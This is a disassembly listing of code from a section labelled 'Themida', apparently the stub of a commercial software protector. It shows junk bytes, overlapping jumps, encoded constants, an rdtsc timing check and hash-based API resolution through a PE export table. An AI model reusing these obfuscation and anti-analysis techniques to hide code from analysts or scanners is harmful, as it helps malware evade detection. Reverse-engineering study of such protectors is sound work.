		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54CF93	proc near		; CODE XREF: Themida_:0054CF8Bp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_54CF93	endp

; ---------------------------------------------------------------------------
		db 0Ah
		dd 0F71522Eh, 6C0EE197h, 66DBB70Fh
; ---------------------------------------------------------------------------
		mov	ebx, eax


loc_54CFB2:				; CODE XREF: Themida_:0054CF33j
		mov	dword ptr [ebp+60E0D79h], 0
		mov	bh, 8Eh


loc_54CFBE:				; CODE XREF: Themida_:0054CF83j
		mov	[ebp+60E19F5h],	eax
		call	sub_54CFDD
		xlat
		push	esi
		out	7Fh, al
		fxch	st(3)
		jg	short loc_54CFE5
		and	dl, al
		not	dword ptr [edi+674033D9h]
		fisubr	dword ptr [ebx-53h]
		dec	esi

; =============== S U B	R O U T	I N E =======================================



sub_54CFDD	proc near		; CODE XREF: Themida_:0054CFC4p
		jl	loc_54CFE4
		stc


loc_54CFE4:				; CODE XREF: sub_54CFDDj
		pop	ebx


loc_54CFE5:				; CODE XREF: Themida_:0054CFCFj
		mov	[ebp+60E0C3Dh],	eax
		call	near ptr loc_54CFF6+1
		cmp	al, 0D5h
		or	[edx], al
		sbb	dh, dl


loc_54CFF6:				; CODE XREF: sub_54CFDD+Ep
		xchg	ebp, ecx
sub_54CFDD	endp ; sp-analysis failed

		or	eax, [eax]
; ---------------------------------------------------------------------------
		dw 0
aQQt0fzxeaZkBJx	db 'οœοβ0F§XeAΞZŠΒΒ†X',0
		align 10h
		jmp	loc_54D025
; ---------------------------------------------------------------------------
		db 58h,	0E9h, 0D4h
		dd 9B8DB5AFh, 0A592DDFDh, 49CFBD9Ch
		db 23h
; ---------------------------------------------------------------------------


loc_54D025:				; CODE XREF: Themida_:0054D010j
		xor	esi, esi
		movsx	eax, di


loc_54D02A:				; CODE XREF: Themida_:0054D07Dj
		mov	ecx, [edx+esi]
		xor	ecx, 0C0564BDh
		add	ecx, 31F5BBEBh
		mov	bh, 0B4h
		sub	ecx, 340B766Ch
		jl	loc_54D04C
		add	bx, 0C6F4h


loc_54D04C:				; CODE XREF: Themida_:0054D041j
		push	ecx
		push	esi
		pusha
		pusha
		popa
		mov	edx, 2E8A6654h
		popa
		pop	ebx
		pop	dword ptr [edx+esi]
		mov	di, 29EDh
		jmp	loc_54D071
; ---------------------------------------------------------------------------
		dd 1894DDF7h, 0D6D36D31h, 5FA69FB9h
; ---------------------------------------------------------------------------
		xchg	eax, esp


loc_54D071:				; CODE XREF: Themida_:0054D05Fj
		sub	esi, 4
		mov	bx, si
		cmp	esi, 0FFFFA80Ch
		jnz	loc_54D02A
		movzx	ebx, dx
		call	near ptr loc_54D091+4
		sub	ah, ds:837A10B2h


loc_54D091:				; CODE XREF: Themida_:0054D086p
		call	far ptr	0D4BEh:51116A78h
		maxps	xmm6, oword ptr	[esi+5Fh]
		pop	ebx
		stc
		add	ebx, 66B3h
		movsx	ecx, si
		xor	eax, eax
		sub	di, 122Eh


loc_54D0AE:				; CODE XREF: Themida_:loc_54D16Ej
		push	dword ptr [eax+ebx]
		call	sub_54D0C5
		test	al, 6Fh
		mov	eax, ds:0AD80E8CDh
		lds	edi, [ecx-2Ch]
		mov	edi, 7CA0AC1Ch

; =============== S U B	R O U T	I N E =======================================



sub_54D0C5	proc near		; CODE XREF: Themida_:0054D0B1p
		pusha
		call	near ptr loc_54D0D2+3
		inc	ecx
		push	cs
		mov	word ptr [esi-69h], fs
		db	3Eh
		aas


loc_54D0D2:				; CODE XREF: sub_54D0C5+1p
		mov	[edi+5F615920h], bh
sub_54D0C5	endp ; sp-analysis failed

		pop	edx
		clc
		sub	edx, 2EBAC3DAh
		stc
		sub	edx, 4E8259DEh
		sub	edx, 737E9586h
		pusha
		pusha
		adc	bx, 0A4Dh
		mov	di, 2735h
		popa
		mov	di, 2953h
		popa
		mov	[ebx+eax], edx
		mov	cx, 608Dh
		jmp	loc_54D118
; ---------------------------------------------------------------------------
		dw 0FA19h
		dd 565E08B1h, 0DA368CFh, 61FA69F8h
; ---------------------------------------------------------------------------


loc_54D118:				; CODE XREF: Themida_:0054D105j
		sub	eax, 55772EDBh
		add	eax, 55772ED7h
		pusha
		jg	loc_54D131
		or	eax, 2F9A3F29h


loc_54D131:				; CODE XREF: Themida_:0054D125j
		jmp	loc_54D149
; ---------------------------------------------------------------------------
		dw 0D02Ah
		dd 0C18881DCh, 17856AA4h, 0BDC4C506h, 3BF4F167h
		db 81h
; ---------------------------------------------------------------------------


loc_54D149:				; CODE XREF: Themida_:loc_54D131j
		popa
		cmp	eax, 0FFFF9A44h
		jnz	loc_54D16E
		clc
		jmp	loc_54D186
; ---------------------------------------------------------------------------
		dd 58619B11h, 28E9F40Fh, 0D915A9D2h, 40D397A1h
		db 0C7h, 37h
; ---------------------------------------------------------------------------


loc_54D16E:				; CODE XREF: Themida_:0054D150j
		jmp	loc_54D0AE
; ---------------------------------------------------------------------------
		db 3Fh
		dd 927C5828h, 17F7426Eh, 83F80788h, 0F36EC510h
; ---------------------------------------------------------------------------
		sbb	bl, cl


loc_54D186:				; CODE XREF: Themida_:0054D157j
		jmp	short loc_54D18C
; ---------------------------------------------------------------------------
		dd 215h
; ---------------------------------------------------------------------------


loc_54D18C:				; CODE XREF: Themida_:loc_54D186j
		jmp	loc_54D834
; ---------------------------------------------------------------------------
		mov	[ebp+60E241Dh],	eax
		pusha
		mov	eax, [ebp+60E30F9h]
		jmp	loc_54D1A8
; ---------------------------------------------------------------------------
		db 9Ch
		dd 3CEF563Eh
; ---------------------------------------------------------------------------


loc_54D1A8:				; CODE XREF: Themida_:0054D19Ej
		popa
		pusha
		mov	[ebp+60E2005h],	esi
		mov	[ebp+60E03F9h],	edx
		mov	eax, 0
		jnb	loc_54D1C9
		jz	loc_54D1C9
		pusha
		popa


loc_54D1C9:				; CODE XREF: Themida_:0054D1BBj
					; Themida_:0054D1C1j
		jl	loc_54D1D0
		cld


loc_54D1D0:				; CODE XREF: Themida_:loc_54D1C9j
		mov	edx, [esp+28h]
		xor	[ebp+60E1B3Dh],	eax
		mov	[ebp+60E2319h],	eax
		pusha
		mov	edi, 2F305397h
		call	near ptr loc_54D1EF+1
		adc	al, 0C3h
		db	65h
		pop	edx


loc_54D1EF:				; CODE XREF: Themida_:0054D1E6p
		mov	dl, 81h
		rol	dword ptr [edi+60h], cl
		out	25h, al
		pop	edx
		popa
		mov	esi, 3Ch
		pusha
		mov	eax, esi
		mov	ecx, 5EEEF2Ch
		popa
		add	esi, [esp+24h]
		jz	loc_54D216
		or	[ebp+60E0C25h],	edi


loc_54D216:				; CODE XREF: Themida_:0054D20Aj
		lodsw
		cld
		add	eax, [esp+24h]
		add	[ebp+60E0889h],	ebx
		nop
		jno	loc_54D234
		jmp	loc_54D234
; ---------------------------------------------------------------------------
		db 93h
		dd 3EA7BCD3h
; ---------------------------------------------------------------------------


loc_54D234:				; CODE XREF: Themida_:0054D224j
					; Themida_:0054D22Aj
		push	eax
		pusha
		push	esi
		pop	edx
		mov	ch, dl
		popa
		nop
		stc
		mov	eax, [eax+78h]
		jmp	loc_54D24C
; ---------------------------------------------------------------------------
		db 95h,	0E5h, 2Dh
; ---------------------------------------------------------------------------
		db	26h
		dec	edi
		or	dh, [ebx]


loc_54D24C:				; CODE XREF: Themida_:0054D240j
		jmp	loc_54D25F
; ---------------------------------------------------------------------------
		sbb	al, 96h
		xor	al, 0BCh
		db	36h
		jno	short loc_54D283
		xchg	eax, ebp
		test	[edx-1Bh], ch
		dec	esp
		sbb	al, 0ABh


loc_54D25F:				; CODE XREF: Themida_:loc_54D24Cj
		add	eax, [esp+28h]
		pusha
		mov	esi, ebx
		mov	esi, [ebp+60E0FC9h]
		popa
		mov	eax, [eax+18h]
		mov	[ebp+60E28C5h],	eax
		pusha
		mov	[ebp+60E348Dh],	esi
		mov	edx, [ebp+60E2971h]


loc_54D283:				; CODE XREF: Themida_:0054D255j
		popa
		inc	eax
		mov	[ebp+60E2201h],	ecx
		mov	[ebp+60E2E6Dh],	eax
		mov	[ebp+60E3B8Ch],	eax
		clc
		add	[ebp+60E339Dh],	ecx
		pop	eax
		xor	[ebp+60E1B69h],	eax
		mov	esi, [eax+78h]
		jns	loc_54D2B4
		mov	[ebp+60E0B35h],	ebx


loc_54D2B4:				; CODE XREF: Themida_:0054D2A8j
		sub	[ebp+60E22E9h],	esi
		add	esi, 1Ch
		pusha
		push	ecx
		mov	esi, edi
		pop	edx
		mov	esi, [ebp+60E0EEDh]
		popa
		add	esi, [esp+24h]
		clc
		lea	edi, [ebp+60E1A25h]
		jbe	loc_54D2E7
		jmp	loc_54D2E7
; ---------------------------------------------------------------------------
		db 7Dh
		dd 0B6D26F43h
		db 4Eh,	12h, 49h
; ---------------------------------------------------------------------------


loc_54D2E7:				; CODE XREF: Themida_:0054D2D4j
					; Themida_:0054D2DAj
		sub	[ebp+60E0A5Dh],	ebx
		lodsd
		jnz	loc_54D300
		ja	loc_54D300
		mov	[ebp+60E2F29h],	edx


loc_54D300:				; CODE XREF: Themida_:0054D2EEj
					; Themida_:0054D2F4j
		add	eax, [esp+24h]
		clc
		sub	[ebp+60E20A9h],	ecx
		stosd
		pusha
		sub	[ebp+60E1FC5h],	ecx
		mov	eax, 51421B74h
		popa
		lea	edi, [ebp+60E252Dh]
		sub	[ebp+60E28EDh],	edi
		lodsd
		pusha
		mov	ax, di
		mov	bx, 33E1h
		popa
		add	eax, [esp+24h]
		sub	[ebp+60E1FA1h],	edx
		push	eax
		push	eax
		push	edx
		jl	loc_54D348
		js	$+6


loc_54D348:				; CODE XREF: Themida_:0054D33Cj
		rdtsc
		jb	loc_54D356
		push	eax
		push	edx
		rdtsc
		pop	edx
		pop	eax


loc_54D356:				; CODE XREF: Themida_:0054D34Aj
		pop	edx
		pop	eax
		mov	[esp], eax
		jmp	loc_54D36F
; ---------------------------------------------------------------------------
		pop	edi
		mov	[edi-3Ah], bl
		stosd
		neg	byte ptr [ebp+ebx*8-45h]
		cmp	[ecx+3B06E5E4h], ebx


loc_54D36F:				; CODE XREF: Themida_:0054D35Bj
		stosd
		jb	loc_54D390
		pusha
		jmp	loc_54D38C
; ---------------------------------------------------------------------------
		dd 83F5B507h, 5BE3673Fh, 1BD83412h, 6B2B7F68h
; ---------------------------------------------------------------------------


loc_54D38C:				; CODE XREF: Themida_:0054D377j
		mov	cx, di
		popa


loc_54D390:				; CODE XREF: Themida_:0054D370j
		lea	edi, [ebp+60E02B5h]
		jz	loc_54D3A8
		jnb	loc_54D3A8
		js	$+6


loc_54D3A8:				; CODE XREF: Themida_:0054D396j
					; Themida_:0054D39Cj
		lodsd
		pusha
		jle	loc_54D3B5
		mov	ebx, 0AC6BC58h


loc_54D3B5:				; CODE XREF: Themida_:0054D3AAj
		jno	$+6
		popa
		add	eax, [esp+28h]
		mov	[ebp+60E1351h],	ebx
		stosd
		cld
		pop	esi
		pusha
		jmp	loc_54D3DB
; ---------------------------------------------------------------------------
		db 0D3h
		dd 594E5F00h, 0C224027Ah
		db 0D3h, 0DDh, 18h
; ---------------------------------------------------------------------------


loc_54D3DB:				; CODE XREF: Themida_:0054D3CAj
		js	loc_54D3E4
		movzx	edi, ax


loc_54D3E4:				; CODE XREF: Themida_:loc_54D3DBj
		popa


loc_54D3E5:				; CODE XREF: Themida_:0054D471j
		dec	dword ptr [ebp+60E3B8Ch]
		cmp	dword ptr [ebp+60E3B8Ch], 0
		jnz	short loc_54D404
		mov	dword ptr [esp+1Ch], 0
		lea	esi, [ebp+60E402Dh]
		jmp	esi
; ---------------------------------------------------------------------------


loc_54D404:				; CODE XREF: Themida_:0054D3F2j
		push	esi
		lodsd
		add	eax, [esp+28h]
		xchg	eax, edi
		mov	ebx, edi
		mov	al, [ebp+60E2F11h]
		test	al, al
		jz	short loc_54D41B
		cmp	al, [edi]
		jnz	short loc_54D467


loc_54D41B:				; CODE XREF: Themida_:0054D415j
		push	edi
		xor	al, al


loc_54D41E:				; CODE XREF: Themida_:0054D41Fj
		scasb
		jnz	short loc_54D41E
		pop	esi
		sub	edi, ebx
		push	edx
		cld
		xor	ecx, ecx
		dec	ecx
		mov	edx, ecx


loc_54D42B:				; CODE XREF: Themida_:0054D454j
		xor	eax, eax
		xor	ebx, ebx
		lodsb
		xor	al, cl
		mov	cl, ch
		mov	ch, dl
		mov	dl, dh
		mov	dh, 8


loc_54D43A:				; CODE XREF: Themida_:0054D44Dj
		shr	bx, 1
		rcr	ax, 1
		jnb	short loc_54D44B
		xor	ax, 5041h
		xor	bx, 5449h


loc_54D44B:				; CODE XREF: Themida_:0054D440j
		dec	dh
		jnz	short loc_54D43A
		xor	ecx, eax
		xor	edx, ebx
		dec	edi
		jnz	short loc_54D42B
		not	edx
		not	ecx
		mov	eax, edx
		rol	eax, 10h
		mov	ax, cx
		pop	edx
		cmp	edx, eax
		jz	short loc_54D476


loc_54D467:				; CODE XREF: Themida_:0054D419j
		pop	esi
		add	esi, 4
		inc	dword ptr [ebp+60E2319h]
		jmp	loc_54D3E5
; ---------------------------------------------------------------------------


loc_54D476:				; CODE XREF: Themida_:0054D465j
		pop	esi
		xor	[ebp+60E07C5h],	ebx
		jmp	loc_54D491
; ---------------------------------------------------------------------------
		dw 785h
		dd 0C35367EFh, 0DEDAA05Ah, 0CCFFDC86h
		db 0A8h
; ---------------------------------------------------------------------------


loc_54D491:				; CODE XREF: Themida_:0054D47Dj
		mov	eax, [ebp+60E2319h]
		cmc
		shl	eax, 1
		cld
		add	eax, [ebp+60E02B5h]
		pusha
		mov	eax, [ebp+60E301Dh]
		mov	ebx, [ebp+60E2DBDh]
		popa
		jmp	loc_54D4C7
; ---------------------------------------------------------------------------
		dd 0E3155B2Ch, 2DC3B01h, 679304A6h, 6D41A2F7h
		db 0E3h, 59h, 5
; ---------------------------------------------------------------------------


loc_54D4C7:				; CODE XREF: Themida_:0054D4AFj
		mov	esi, 0
		cld
		xchg	eax, esi
		jmp	loc_54D4E4
; ---------------------------------------------------------------------------
		db 2Eh
		dd 0CF803AACh, 0AF3F7B72h, 0AED53236h, 20F3DCDAh
; ---------------------------------------------------------------------------


loc_54D4E4:				; CODE XREF: Themida_:0054D4CEj
		lodsw
		cmc
		shl	eax, 2
		jnb	loc_54D4F6
		or	[ebp+60E21B5h],	ecx


loc_54D4F6:				; CODE XREF: Themida_:0054D4EAj
		add	eax, [ebp+60E1A25h]
		mov	[ebp+60E092Dh],	ebx
		xchg	eax, esi
		jmp	loc_54D512
; ---------------------------------------------------------------------------
		dd 0DC266D1h, 0A0CCF7C1h
		db 5Ch,	0C7h
; ---------------------------------------------------------------------------


loc_54D512:				; CODE XREF: Themida_:0054D503j
		lodsd
		cmc
		mov	ecx, [esp+24h]
		mov	[ebp+60E0DF9h],	edx
		add	eax, [esp+24h]
		jg	loc_54D529
		stc


loc_54D529:				; CODE XREF: Themida_:0054D522j
		mov	[esp+1Ch], eax
		jmp	loc_54D53B
; ---------------------------------------------------------------------------
		dw 1E53h
		dd 23B21610h
		db 29h,	8Bh, 0C6h
; ---------------------------------------------------------------------------


loc_54D53B:				; CODE XREF: Themida_:0054D52Dj
		xchg	eax, esi
		mov	[ebp+60E1FF9h],	esi
		lodsb
		sub	[ebp+60E2315h],	edx
		xor	cl, cl
		jmp	loc_54D55E
; ---------------------------------------------------------------------------
		dd 0CD79EC8Ah, 0B0DD3B30h, 0CE8C565Dh
; ---------------------------------------------------------------------------
		dec	esi


loc_54D55E:				; CODE XREF: Themida_:0054D54Bj
		jz	loc_54D56D
		pusha
		mov	eax, [ebp+60E208Dh]
		clc
		popa


loc_54D56D:				; CODE XREF: Themida_:loc_54D55Ej
		inc	cl
		clc


loc_54D570:				; CODE XREF: Themida_:0054D5C7j
		rcl	al, 1
		jnb	loc_54D629
		pusha
		or	[ebp+60E1039h],	ecx
		jmp	loc_54D597
; ---------------------------------------------------------------------------
		dd 0C38A8664h, 7C15CAC3h, 1A732439h, 6ED6AE59h
		db 0BEh, 7, 1Eh
; ---------------------------------------------------------------------------


loc_54D597:				; CODE XREF: Themida_:0054D57Fj
		popa
		sub	[ebp+60E2EB9h],	edx
		rcl	al, 1
		jnb	loc_54D629
		pusha
		movsx	ecx, si
		mov	edx, ebx
		popa
		rcl	al, 1
		jb	loc_54D629
		xor	[ebp+60E0B2Dh],	edx
		rcl	al, 1
		jb	loc_54D629
		clc
		stc
		dec	cl
		jns	loc_54D570
		pusha
		mov	eax, 4052D41Fh
		mov	[ebp+60E2F29h],	esi
		popa
		mov	[ebp+60E167Dh],	edx
		add	esp, 20h
		mov	[ebp+60E32FDh],	ecx
		mov	dword ptr [esp-4], 0
		jl	loc_54D5FD
		mov	[ebp+60E2F21h],	ecx


loc_54D5FD:				; CODE XREF: Themida_:0054D5F1j
		sub	[ebp+60E2199h],	edi
		mov	eax, 1
		jge	loc_54D60F
		cld


loc_54D60F:				; CODE XREF: Themida_:0054D608j
		lea	ecx, [ebp+60E719Bh]
		xor	[ebp+60E309Dh],	ebx
		jmp	ecx
; ---------------------------------------------------------------------------
		xor	[ebp+60E1B1Dh],	esi
		add	[ebp+60E0E2Dh],	edi


loc_54D629:				; CODE XREF: Themida_:0054D572j
					; Themida_:0054D5A0j ...
		mov	byte ptr [ebp+60E2F11h], 0
		pusha
		mov	si, 7249h
		mov	dx, 0A195h
		popa
		pusha
		jle	loc_54D647
		xor	[ebp+60E2EF9h],	ecx


loc_54D647:				; CODE XREF: Themida_:0054D63Bj
		push	edi
		sbb	dx, 293Eh
		pop	ebx
		popa
		popa
		js	locret_54D65A
		pusha
		push	ebx
		pop	eax
		popa

locret_54D65A:				; CODE XREF: Themida_:0054D650j
		retn	8
; ---------------------------------------------------------------------------
		stc
		push	eax
		jmp	loc_54D670
; ---------------------------------------------------------------------------
		dd 59FAF1D5h, 47AF34Eh,	2ACF4877h
; ---------------------------------------------------------------------------


loc_54D670:				; CODE XREF: Themida_:0054D65Fj
		mov	[esp], esi
		add	[ebp+60E22A1h],	ebx
		add	[ebp+60E1A71h],	ebx
		mov	[ebp+60E41E2h],	esi
		mov	[ebp+60E09E9h],	ecx
		mov	[ebp+60E421Ah],	ecx
		sub	[ebp+60E2C45h],	edi
		lea	esi, [ebp+60E40FFh]
		pusha
		jle	loc_54D6A8
		mov	cx, 0CE55h


loc_54D6A8:				; CODE XREF: Themida_:0054D69Ej
		mov	edx, [ebp+60E202Dh]
		popa
		add	[ebp+60E0FB5h],	edi
		lea	eax, dword_5B8EA1[ebp]
		mov	[ebp+60E176Dh],	ebx
		call	eax
		pusha
		jmp	loc_54D6D2
; ---------------------------------------------------------------------------
		db 42h,	85h, 0FFh
		dd 80D8033Fh
		db 3Dh,	39h
; ---------------------------------------------------------------------------


loc_54D6D2:				; CODE XREF: Themida_:0054D6C4j
		mov	eax, [ebp+60E1D91h]
		popa
		pop	esi
		jge	locret_54D6EF
		jmp	locret_54D6EF
; ---------------------------------------------------------------------------
		db 0FFh, 0Fh, 0B5h
		dd 7723C0EDh
		db 0A1h, 85h, 9Ch
; ---------------------------------------------------------------------------

locret_54D6EF:				; CODE XREF: Themida_:0054D6DAj
					; Themida_:0054D6E0j
		retn
; ---------------------------------------------------------------------------
		pusha
		adc	ecx, 40CDF673h
		movzx	edi, si
		popa
		mov	esi, [ebp+60E41E2h]
		stc
		mov	ecx, [ebp+60E421Ah]
		cld
		mov	eax, 0
		jmp	loc_54D719
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0DED5A203h
; ---------------------------------------------------------------------------
		das


loc_54D719:				; CODE XREF: Themida_:0054D70Ej
		mov	ebx, ecx
		jmp	loc_54D730
; ---------------------------------------------------------------------------
		mov	edx, 0E5E0B3C3h
		dec	edx
		leave
		mov	eax, ds:95741C27h
		xchg	eax, edi
		or	eax, [bx]


loc_54D730:				; CODE XREF: Themida_:0054D71Bj
		jmp	loc_54D7CE
; ---------------------------------------------------------------------------
		clc
; START	OF FUNCTION CHUNK FOR sub_54D7BB


loc_54D736:				; CODE XREF: sub_54D7BB+15j
		xor	ah, [esi]
		js	loc_54D744
		add	[ebp+60E2229h],	esi


loc_54D744:				; CODE XREF: sub_54D7BB-83j
		mov	dl, 2
		mov	[ebp+60E33B9h],	eax
		jmp	loc_54D797
; END OF FUNCTION CHUNK	FOR sub_54D7BB
; ---------------------------------------------------------------------------
		cmc
; START	OF FUNCTION CHUNK FOR sub_54D7BB


loc_54D752:				; CODE XREF: sub_54D7BB-22j
		xor	al, dl
		sub	[ebp+60E1539h],	edx
		add	eax, 8A751D7Ah
		sub	[ebp+60E19C9h],	esi
		mov	cl, ah


loc_54D767:				; CODE XREF: sub_54D7BB-3j
		js	loc_54D77C
		pusha
		jmp	loc_54D77A
; END OF FUNCTION CHUNK	FOR sub_54D7BB
; ---------------------------------------------------------------------------
		pop	esi
		or	ch, al
		setalc
		retf
; ---------------------------------------------------------------------------
		db 52h,	0ECh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54D7BB


loc_54D77A:				; CODE XREF: sub_54D7BB-4Dj
		clc
		popa


loc_54D77C:				; CODE XREF: sub_54D7BB:loc_54D767j
		ror	eax, cl
		mov	[ebp+60E0959h],	edx
		xor	eax, 98D10842h
		sub	[ebp+60E1BA9h],	eax
		dec	dl
		mov	[ebp+60E0961h],	ebx


loc_54D797:				; CODE XREF: sub_54D7BB-6Fj
		or	dl, dl
		jnz	loc_54D752
		stc
		dec	ebx
		pusha
		sub	ebx, [ebp+60E2399h]
		call	sub_54D7BB
		push	0FFFFFFC8h
		wait
		scasb
		add	al, ah
		push	6068C60Ah
		jno	short loc_54D767
		insb
; END OF FUNCTION CHUNK	FOR sub_54D7BB

; =============== S U B	R O U T	I N E =======================================



sub_54D7BB	proc near		; CODE XREF: sub_54D7BB-13p

; FUNCTION CHUNK AT 0054D736 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0054D752 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0054D77A SIZE 00000041 BYTES

		movsx	edi, si
		pop	ebx
		popa
		inc	esi
		pusha
		sub	[ebp+60E154Dh],	eax
		add	cx, 59EFh
		popa


loc_54D7CE:				; CODE XREF: Themida_:loc_54D730j
		or	ebx, ebx
		jnz	loc_54D736
		mov	[ebp+60E20A9h],	eax
		iret
sub_54D7BB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0F8h, 2 dup(0)
; ---------------------------------------------------------------------------
		pusha
		jmp	loc_54D7F3
; ---------------------------------------------------------------------------
		dw 63BDh
		dd 0AD96F7BBh, 0F97C550Bh
		db 0EEh, 4Dh, 2Eh
; ---------------------------------------------------------------------------


loc_54D7F3:				; CODE XREF: Themida_:0054D7E1j
		sub	dl, 5Dh
		popa
; ---------------------------------------------------------------------------
		db 0
		dd 8E0F6000h, 6, 4688E981h, 0AE92050h, 5B000000h, 8FE8A2DCh
		dd 2D71B35h, 619Fh, 24C18D89h, 60Eh, 0FE9h, 1CA8B100h
		dd 64ED1127h, 77C35E3Fh, 677739C1h
; ---------------------------------------------------------------------------


loc_54D834:				; CODE XREF: Themida_:loc_54D18Cj
		lea	eax, [ebp+60E3BADh]
		pusha
		push	esi
		mov	ecx, [ebp+60E0D71h]
		pop	ecx
		mov	ecx, [ebp+60E2931h]
		popa
		mov	[ebp+60E0FE9h],	eax
		stc
		xor	[ebp+60E0475h],	edx
		lea	eax, [ebp+60E4062h]
		jp	loc_54D869
		mov	[ebp+60E0A09h],	eax


loc_54D869:				; CODE XREF: Themida_:0054D85Dj
		mov	[ebp+60E08A1h],	eax
		jmp	short loc_54D885
; ---------------------------------------------------------------------------
		align 4
		dd 3 dup(0)
		dd 8500h
		db 0
; ---------------------------------------------------------------------------


loc_54D885:				; CODE XREF: Themida_:0054D86Fj
		lea	eax, [ebp+60E4341h]
		mov	[ebp+60E1DE1h],	eax
		cmp	dword ptr [ebp+60E4281h], 0
		jz	loc_54D9C1
		mov	byte ptr [ebp+60E2F11h], 56h
		push	0B260FB6Dh
		add	dword ptr [esp], 21BE71CCh
		push	dword ptr [ebp+60E19F5h]
		lea	eax, [ebp+60E3BADh]
		call	eax
		mov	[ebp+60E4275h],	eax
		mov	byte ptr [ebp+60E2F11h], 56h
		call	near ptr loc_54D8D2+3
		push	edx


loc_54D8D2:				; CODE XREF: Themida_:0054D8CCp
		mov	eax, 8B509CA8h
		inc	esp
		and	al, 4
		mov	eax, [eax]
		mov	[esp+4], eax
		pop	eax
		push	dword ptr [ebp+60E19F5h]
		lea	eax, [ebp+60E3BADh]
		call	eax
		mov	[ebp+60E4279h],	eax
		push	4
		push	7DE0D3E0h
		xor	dword ptr [esp], 7DE0C3E0h
		mov	eax, [ebp+60E4285h]
		add	eax, 1F4h
		shl	eax, 2
		push	eax
		mov	[esp], eax
		push	0
		call	dword ptr [ebp+60E4279h]
		mov	[ebp+60E427Dh],	eax
		mov	ebx, eax
		mov	eax, 0FFFFFFFFh
		call	dword ptr [ebp+60E1DE1h]
		mov	eax, ebx
		call	dword ptr [ebp+60E1DE1h]
		jmp	loc_54D9C1
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+60E4281h], 0
		jnz	loc_54D94B
		retn
; ---------------------------------------------------------------------------


loc_54D94B:				; CODE XREF: Themida_:0054D944j
		push	edi
		mov	edi, [ebp+60E427Dh]
		stosd
		add	dword ptr [ebp+60E427Dh], 4
		pop	edi
		retn
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+60E4281h], 0
		jnz	loc_54D96A
		retn
; ---------------------------------------------------------------------------


loc_54D96A:				; CODE XREF: Themida_:0054D963j
		pusha
		sub	dword ptr [ebp+60E427Dh], 4


loc_54D972:				; CODE XREF: Themida_:loc_54D9BCj
		mov	ebx, [ebp+60E427Dh]
		cmp	dword ptr [ebx-4], 0FFFFFFFFh
		jnz	loc_54D99F
		push	27D12070h
		xor	dword ptr [esp], 27D1A070h
		push	0
		push	dword ptr [ebx]
		call	dword ptr [ebp+60E4275h]
		popa
		retn
; ---------------------------------------------------------------------------
		jmp	loc_54D9BC
; ---------------------------------------------------------------------------


loc_54D99F:				; CODE XREF: Themida_:0054D97Cj
		push	837E6CCh
		xor	dword ptr [esp], 83766CCh
		push	0
		push	dword ptr [ebx]
		call	dword ptr [ebp+60E4275h]
		sub	dword ptr [ebp+60E427Dh], 4


loc_54D9BC:				; CODE XREF: Themida_:0054D99Aj
		jmp	loc_54D972
; ---------------------------------------------------------------------------


loc_54D9C1:				; CODE XREF: Themida_:0054D898j
					; Themida_:0054D938j
		dec	eax
		jmp	loc_54E39A
; ---------------------------------------------------------------------------
		db 12h
		dd 67602851h, 5707B5E3h, 7B063EFDh, 0B38237E8h,	8D34D10Dh
		dd 4420C430h, 67576AF1h, 4F2BEA67h, 6C6D2877h, 450FB9A1h
		dd 6A556CEAh, 0BCC730FAh, 0FD57BE46h, 5934CE3Ah, 670566F0h
		dd 402DE867h, 766D2874h, 5F12A6A1h, 764B6CF5h, 0A8D02BE4h
		dd 0C934D548h, 5930D976h, 66572BE1h, 542DFD29h,	70742862h
		dd 5112A7EEh, 62F5h, 62h dup(0)
		dd 12000000h, 6D692851h, 5F14A9EFh, 61566CEAh, 0B0D023E6h
		dd 0CC329405h, 4F378B25h, 740524F0h, 452CF166h,	6C717A30h
		dd 570EA9EFh, 334825B8h, 0A3D72BF0h, 0DE23C748h, 438CE22h
		dd 7E75479Fh, 4431E56Ch, 6C71283Ch, 5401AFEDh, 335225B8h
		dd 0BCCD36EFh, 0C03FD948h, 0A2CD939h, 324124F4h, 5531E17Bh
		dd 22707A71h, 4215AFF8h, 7C543CB8h, 0BCC336EEh,	46h, 47h dup(0)
		dd 12000000h, 70672851h, 550BA3E0h, 33556BEAh, 0BDCD2BFDh
		dd 0DE3BDC48h, 4F30C976h, 7D436AFBh, 126EA7Ch, 6C6A7D62h
		dd 1007AEE8h, 6A0622F1h, 0F1D031E6h, 0D929CD1Bh, 207BC633h
		dd 77491A98h, 0D27F768h, 6E6A7D30h, 1004A1EEh, 750638F1h
		dd 0F1CF2BFBh, 0C237D105h, 4B75D224h, 60052EFBh, 4036F76Ch
		dd 7B247C62h, 1012B5EEh, 74493EE8h, 0FFCF25FBh,	61h dup(0)
		dd 12000000h, 67686156h, 420FA3A1h, 675639EAh, 0FF8320ECh
		dd 0C432E048h, 58258B25h, 73572DFAh, 402AA464h,	67662863h
		dd 5D40AEE4h, 634F22F9h, 0A5C328FCh, 0CC7AD00Dh, 4775CF38h
		dd 774733F4h, 552B8903h, 6B247B37h, 5305A6EFh, 334229ECh
		dd 0B0823DEBh, 0DF33E248h, 4575D823h, 60466AE7h, 4429E768h
		dd 56242674h, 1013A9E9h, 764A25FEh, 0BFCD33A9h,	0DA7AC04Fh
		dd 0A3ED939h, 7F5C24F4h, 0F27F666h, 0E0h dup(0)
		dd 57000000h, 6D754E4Ch, 734C4C44h, 746F7250h, 3000h, 8	dup(0)
		dd 69784500h, 74532074h, 73757461h, 25203D20h, 64h, 0
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54E39A:				; CODE XREF: Themida_:0054D9C2j
		jmp	loc_550FFE
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_54E3AA
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54E3AA	proc near		; CODE XREF: Themida_:0054E3A2p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_54E3AA	endp

; ---------------------------------------------------------------------------
		fild	qword ptr [edi]
		cdq
